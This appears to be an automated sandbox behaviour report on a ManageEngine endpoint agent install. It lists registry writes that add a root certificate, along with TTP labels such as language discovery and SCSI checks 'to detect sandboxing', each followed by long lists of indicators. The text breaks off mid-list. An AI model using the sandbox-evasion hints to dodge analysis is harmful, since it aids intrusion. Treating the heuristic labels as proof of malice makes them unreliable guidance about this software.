140000000100000014000000fe825d60569285e1b9968ea6a373dec47da042ac030000000100000014000000c7596bdc16a4fe1f95bb946c9d0ba1bbcd2d8ab20f00000001000000200000009748edbae55d0542eeec9786794a616770b05407ab3ec3a98fa8d24f5e179eb22000000001000000af030000308203ab30820293a003020102020812f9502d8a5397b1300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303532393135343735345a180f32313236303532393135343735345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ca160943c4fcd40754cf20f4adc13d1e3e7f14b54db00e40d4b5a53be8d0bf0e284e9241605516558dad92965ec1a267fabcc5712d6f7e0a0ac8150e74c7e7ee27448602b360debf881937c7706739765e2808f8789a197135c6511b1a500734d575c5fe9141c22dc15284ae33bafa8f92050ae980dcdac1365fe5cf8730d1036576df2b869c4cec206a009fb6c36a7414f12293af6ee180a392a12a573a48d33427cebcc06e4270e0919cd27c8c65b64a14a6693fa754d20ce36d09b9dd9a96e51716f2e809c5f1b4512e464a58e5f1a0ef6b30415c0c971158cb78dd09c5258a5fd6ece646e10f7817b61e7ca1e7c07ef1162e2da0a8d84c953676011bcd4b0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414fe825d60569285e1b9968ea6a373dec47da042ac301f0603551d23041830168014fe825d60569285e1b9968ea6a373dec47da042ac300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010077c0ab3d34d345cf12dbdb77c9029b7bb9c0b51c683b900c994fd771d303dabb93cebbb50e8ec44bfee2b54a13ad2630821b09c24d39c9ca59a0b2dc572fc7d719a982d3090eb39ab8b4903a87e4da2e6b3b10ca8cede455b9e4a582e5a38b0620b43d65ba8514cf6bcc3fa4ce81d99140ba38d8e2277a64099da6d85b36a6de3bf2b329bd9ff35f9d7fa86c550286ac65df11a3ce88f7f210ada88cbfaf36cd83fc674b0bb47df0a11d1a7565a1395239d127e0dbbcfb13000e0779061380c332cf0de3583eeb189b8d05a4640a60fb9ace56174b07b1a016f6ed67588312c26c8953cb03707a5fef72aecbf81cd33ba373274ecf82891a3efc525dc3e05dc9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2\Blob = 040000000100000010000000c4b6cbf879039ea66514c43e267cb0130f00000001000000200000009748edbae55d0542eeec9786794a616770b05407ab3ec3a98fa8d24f5e179eb2030000000100000014000000c7596bdc16a4fe1f95bb946c9d0ba1bbcd2d8ab2140000000100000014000000fe825d60569285e1b9968ea6a373dec47da042ac2000000001000000af030000308203ab30820293a003020102020812f9502d8a5397b1300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303532393135343735345a180f32313236303532393135343735345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ca160943c4fcd40754cf20f4adc13d1e3e7f14b54db00e40d4b5a53be8d0bf0e284e9241605516558dad92965ec1a267fabcc5712d6f7e0a0ac8150e74c7e7ee27448602b360debf881937c7706739765e2808f8789a197135c6511b1a500734d575c5fe9141c22dc15284ae33bafa8f92050ae980dcdac1365fe5cf8730d1036576df2b869c4cec206a009fb6c36a7414f12293af6ee180a392a12a573a48d33427cebcc06e4270e0919cd27c8c65b64a14a6693fa754d20ce36d09b9dd9a96e51716f2e809c5f1b4512e464a58e5f1a0ef6b30415c0c971158cb78dd09c5258a5fd6ece646e10f7817b61e7ca1e7c07ef1162e2da0a8d84c953676011bcd4b0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414fe825d60569285e1b9968ea6a373dec47da042ac301f0603551d23041830168014fe825d60569285e1b9968ea6a373dec47da042ac300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010077c0ab3d34d345cf12dbdb77c9029b7bb9c0b51c683b900c994fd771d303dabb93cebbb50e8ec44bfee2b54a13ad2630821b09c24d39c9ca59a0b2dc572fc7d719a982d3090eb39ab8b4903a87e4da2e6b3b10ca8cede455b9e4a582e5a38b0620b43d65ba8514cf6bcc3fa4ce81d99140ba38d8e2277a64099da6d85b36a6de3bf2b329bd9ff35f9d7fa86c550286ac65df11a3ce88f7f210ada88cbfaf36cd83fc674b0bb47df0a11d1a7565a1395239d127e0dbbcfb13000e0779061380c332cf0de3583eeb189b8d05a4640a60fb9ace56174b07b1a016f6ed67588312c26c8953cb03707a5fef72aecbf81cd33ba373274ecf82891a3efc525dc3e05dc9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2\Blob = 190000000100000010000000001304c687ed1154544fdf90394ed78e140000000100000014000000fe825d60569285e1b9968ea6a373dec47da042ac030000000100000014000000c7596bdc16a4fe1f95bb946c9d0ba1bbcd2d8ab20f00000001000000200000009748edbae55d0542eeec9786794a616770b05407ab3ec3a98fa8d24f5e179eb2040000000100000010000000c4b6cbf879039ea66514c43e267cb0132000000001000000af030000308203ab30820293a003020102020812f9502d8a5397b1300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303532393135343735345a180f32313236303532393135343735345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ca160943c4fcd40754cf20f4adc13d1e3e7f14b54db00e40d4b5a53be8d0bf0e284e9241605516558dad92965ec1a267fabcc5712d6f7e0a0ac8150e74c7e7ee27448602b360debf881937c7706739765e2808f8789a197135c6511b1a500734d575c5fe9141c22dc15284ae33bafa8f92050ae980dcdac1365fe5cf8730d1036576df2b869c4cec206a009fb6c36a7414f12293af6ee180a392a12a573a48d33427cebcc06e4270e0919cd27c8c65b64a14a6693fa754d20ce36d09b9dd9a96e51716f2e809c5f1b4512e464a58e5f1a0ef6b30415c0c971158cb78dd09c5258a5fd6ece646e10f7817b61e7ca1e7c07ef1162e2da0a8d84c953676011bcd4b0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414fe825d60569285e1b9968ea6a373dec47da042ac301f0603551d23041830168014fe825d60569285e1b9968ea6a373dec47da042ac300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010077c0ab3d34d345cf12dbdb77c9029b7bb9c0b51c683b900c994fd771d303dabb93cebbb50e8ec44bfee2b54a13ad2630821b09c24d39c9ca59a0b2dc572fc7d719a982d3090eb39ab8b4903a87e4da2e6b3b10ca8cede455b9e4a582e5a38b0620b43d65ba8514cf6bcc3fa4ce81d99140ba38d8e2277a64099da6d85b36a6de3bf2b329bd9ff35f9d7fa86c550286ac65df11a3ce88f7f210ada88cbfaf36cd83fc674b0bb47df0a11d1a7565a1395239d127e0dbbcfb13000e0779061380c332cf0de3583eeb189b8d05a4640a60fb9ace56174b07b1a016f6ed67588312c26c8953cb03707a5fef72aecbf81cd33ba373274ecf82891a3efc525dc3e05dc9 dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 61 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DCProcessMonitor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language uesDevCtrlSummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaaphelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language metroapps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaaphelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language uesFaUser.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcrdservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaap.exe - Checks SCSI registry key(s) 3 TTPs 40 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom uesFaUser.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 uesFaUser.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 uesFaUser.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags uesFaUser.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\DeviceDesc uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 uesFaUser.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\DeviceDesc uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 uesFaUser.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom uesFaUser.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags uesFaUser.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 uesAgentService.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3960 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcconfig.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CImmersiveControlPanel%5Cresources.pri\1d5acde2d018dbc\a37dfe62\@{C:\Windows\ImmersiveControlPanel\resources.pri?ms-resource://windows.immersivecontrolpanel/resources/PublisherD = "Microsoft Corporation" metroapps.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcinventory.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe%5Cresources.pri metroapps.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcondemand.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcconfig.exe Key created 